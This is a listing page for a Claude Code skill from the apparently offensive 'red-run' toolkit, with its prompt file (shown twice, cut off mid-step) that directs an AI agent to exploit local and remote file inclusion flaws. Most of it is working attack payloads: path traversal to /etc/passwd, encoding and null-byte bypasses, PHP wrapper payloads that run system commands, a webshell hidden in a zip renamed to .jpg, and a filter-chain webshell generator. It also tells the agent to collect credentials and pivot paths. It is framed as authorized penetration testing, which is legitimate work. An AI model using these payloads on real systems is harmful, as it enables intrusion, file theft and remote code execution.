/lfi
Guide Local File Inclusion (LFI) and Remote File Inclusion (RFI) exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill lfi --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/lfi
Context preview
The summary Claude sees to decide when to auto-load this skill.
Guide Local File Inclusion (LFI) and Remote File Inclusion (RFI) exploitation during authorized penetration testing.
SKILL.md
lfi.SKILL.mdname: lfi
description: >
Guide Local File Inclusion (LFI) and Remote File Inclusion (RFI)
exploitation during authorized penetration testing.
keywords:
- LFI
- lfi
- local file inclusion
- path traversal
- directory traversal
- file read
- file inclusion
- php://filter
- PHP wrappers
- log poisoning
- RFI
- rfi
- remote file inclusion
- LFI to RCE
- ../../../etc/passwd
- file read vulnerability
- include vulnerability
- file_get_contents
- include()
- require()
- UNC path
- Windows LFI
tools:
- burpsuite
- ffuf
- php_filter_chain_generator
opsec: low
Local File Inclusion / Remote File Inclusion
You are helping a penetration tester exploit file inclusion vulnerabilities. The target application includes files based on user-controlled input — either locally (LFI) or from a remote URL (RFI). The goal is to read sensitive files, extract source code, and escalate to remote code execution. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[lfi] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- A parameter that includes or loads files (URL param, POST field, cookie, header)
- Common vulnerable parameters: `?file=`, `?page=`, `?include=`, `?path=`,
`?doc=`, `?view=`, `?content=`, `?template=`, `?action=`, `?dir=`, `?cat=`, `?mod=`, `?conf=`, `?locate=`
Step 1: Assess
If not already provided, determine: 1. **Platform** — Linux or Windows (try `/etc/passwd` vs `C:\Windows\win.ini`) 2. **Language** — PHP, Java/JSP, Node.js, Python, ASP.NET 3. **Injection point** — which parameter, GET/POST/cookie/header 4. **Base behavior** — does the param expect a filename, path, or URL?
Skip if context was already provided.
Step 2: Basic Traversal
Confirm LFI
# Linux
../../../etc/passwd
# Windows
..\..\..\Windows\win.ini
..\..\..\..\Windows\win.ini
Filter Bypass
If basic traversal is blocked, try these in order:
# URL encoding
..%2f..%2f..%2fetc%2fpasswd
# Double URL encoding (when server decodes twice)
%252e%252e%252f%252e%252e%252fetc%252fpasswd
# Non-recursive stripping (server removes ../ once)
....//....//....//etc/passwd
..././..././..././etc/passwd
# UTF-8 overlong encoding
%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
# Null byte (PHP < 5.3.4)
../../../etc/passwd%00
../../../etc/passwd%00.php
# Path truncation (exhaust 4096-byte limit, PHP < 5.3)
../../../etc/passwd/./././././[repeat to 4096+ chars]
# Mixed separators
..\/..\/..\/etc/passwd
# Backslash encoding
%5C..%5C..%5C..%5Cetc%5Cpasswd
Windows-Specific Bypass
# Backslash traversal
..\..\..\..\Windows\win.ini
# UNC path (may trigger SMB)
\\localhost\c$\Windows\win.ini
# FindFirstFile wildcard (matches temp files)
..\..\..\..\Windows\Temp\php<<
Step 3: PHP Wrappers
PHP wrappers are the most powerful LFI technique — they can read source code, execute arbitrary PHP, and bypass many filters.
php://filter — Source Code Extraction
Read PHP source without executing it:
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=config.php
php://filter/convert.base64-encode/resource=../config/database.php
Decode the base64 output to get the source code.
**If base64 is blocked:**
# ROT13
php://filter/string.rot13/resource=index.php
# Chained filters
php://filter/zlib.deflate/convert.base64-encode/resource=index.php
# iconv conversion
php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php
# Case insensitive (bypass keyword filter)
PhP://FiLtEr/convert.base64-encode/resource=index.php
data:// — Direct Code Execution
Requires `allow_url_include=On` (rare but check):
data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
php://input — POST Body as File
Requires `allow_url_include=On`:
# Include php://input, then send PHP code in POST body:
POST /vuln.php?page=php://input HTTP/1.1
<?php system('id'); ?>expect:// — Direct Command Execution
Requires `expect` extension (rare):
expect://id
expect://ls+-la
zip:// and phar:// — Archive Exploitation
Upload a ZIP containing a PHP shell (disguised as allowed extension):
# Create zip with shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.jpg shell.php
# Upload shell.jpg, then include:
zip://uploads/shell.jpg%23shell.php&cmd=id
# phar:// variant
phar://uploads/archive.phar/shell.txt
Step 4: LFI to RCE
When you can read files but need code execution:
Method 1: PHP Filter Chain RCE (No File Write Required)
The most reliable modern LFI-to-RCE technique. Uses chained `php://filter` iconv conversions to generate arbitrary PHP code without writing to disk.
# Install the generator
git clone https://github.com/synacktiv/php_filter_chain_generator
# Generate a webshell chain
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
# Use the output as the LFI parameter value
# Result is
Read more
name: lfi description: > Guide Local File Inclusion (LFI) and Remote File Inclusion (RFI) exploitation during authorized penetration testing. keywords: - LFI - lfi - local file inclusion - path traversal - directory traversal - file read - file inclusion - php://filter - PHP wrappers - log poisoning - RFI - rfi - remote file inclusion - LFI to RCE - ../../../etc/passwd - file read vulnerability - include vulnerability - file_get_contents - include() - require() - UNC path - Windows LFI tools: - burpsuite - ffuf - php_filter_chain_generator opsec: low
Local File Inclusion / Remote File Inclusion
You are helping a penetration tester exploit file inclusion vulnerabilities. The target application includes files based on user-controlled input — either locally (LFI) or from a remote URL (RFI). The goal is to read sensitive files, extract source code, and escalate to remote code execution. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[lfi] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- A parameter that includes or loads files (URL param, POST field, cookie, header)
- Common vulnerable parameters: `?file=`, `?page=`, `?include=`, `?path=`,
`?doc=`, `?view=`, `?content=`, `?template=`, `?action=`, `?dir=`, `?cat=`, `?mod=`, `?conf=`, `?locate=`
Step 1: Assess
If not already provided, determine: 1. **Platform** — Linux or Windows (try `/etc/passwd` vs `C:\Windows\win.ini`) 2. **Language** — PHP, Java/JSP, Node.js, Python, ASP.NET 3. **Injection point** — which parameter, GET/POST/cookie/header 4. **Base behavior** — does the param expect a filename, path, or URL?
Skip if context was already provided.
Step 2: Basic Traversal
Confirm LFI
# Linux ../../../etc/passwd # Windows ..\..\..\Windows\win.ini ..\..\..\..\Windows\win.ini
Filter Bypass
If basic traversal is blocked, try these in order:
# URL encoding ..%2f..%2f..%2fetc%2fpasswd # Double URL encoding (when server decodes twice) %252e%252e%252f%252e%252e%252fetc%252fpasswd # Non-recursive stripping (server removes ../ once) ....//....//....//etc/passwd ..././..././..././etc/passwd # UTF-8 overlong encoding %c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd # Null byte (PHP < 5.3.4) ../../../etc/passwd%00 ../../../etc/passwd%00.php # Path truncation (exhaust 4096-byte limit, PHP < 5.3) ../../../etc/passwd/./././././[repeat to 4096+ chars] # Mixed separators ..\/..\/..\/etc/passwd # Backslash encoding %5C..%5C..%5C..%5Cetc%5Cpasswd
Windows-Specific Bypass
# Backslash traversal ..\..\..\..\Windows\win.ini # UNC path (may trigger SMB) \\localhost\c$\Windows\win.ini # FindFirstFile wildcard (matches temp files) ..\..\..\..\Windows\Temp\php<<
Step 3: PHP Wrappers
PHP wrappers are the most powerful LFI technique — they can read source code, execute arbitrary PHP, and bypass many filters.
php://filter — Source Code Extraction
Read PHP source without executing it:
php://filter/convert.base64-encode/resource=index.php php://filter/convert.base64-encode/resource=config.php php://filter/convert.base64-encode/resource=../config/database.php
Decode the base64 output to get the source code.
**If base64 is blocked:**
# ROT13 php://filter/string.rot13/resource=index.php # Chained filters php://filter/zlib.deflate/convert.base64-encode/resource=index.php # iconv conversion php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php # Case insensitive (bypass keyword filter) PhP://FiLtEr/convert.base64-encode/resource=index.php
data:// — Direct Code Execution
Requires `allow_url_include=On` (rare but check):
data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
php://input — POST Body as File
Requires `allow_url_include=On`:
# Include php://input, then send PHP code in POST body:
POST /vuln.php?page=php://input HTTP/1.1
<?php system('id'); ?>expect:// — Direct Command Execution
Requires `expect` extension (rare):
expect://id expect://ls+-la
zip:// and phar:// — Archive Exploitation
Upload a ZIP containing a PHP shell (disguised as allowed extension):
# Create zip with shell echo '<?php system($_GET["cmd"]); ?>' > shell.php zip shell.jpg shell.php # Upload shell.jpg, then include: zip://uploads/shell.jpg%23shell.php&cmd=id # phar:// variant phar://uploads/archive.phar/shell.txt
Step 4: LFI to RCE
When you can read files but need code execution:
Method 1: PHP Filter Chain RCE (No File Write Required)
The most reliable modern LFI-to-RCE technique. Uses chained `php://filter` iconv conversions to generate arbitrary PHP code without writing to disk.
# Install the generator git clone https://github.com/synacktiv/php_filter_chain_generator # Generate a webshell chain python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>' # Use the output as the LFI parameter value # Result is
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

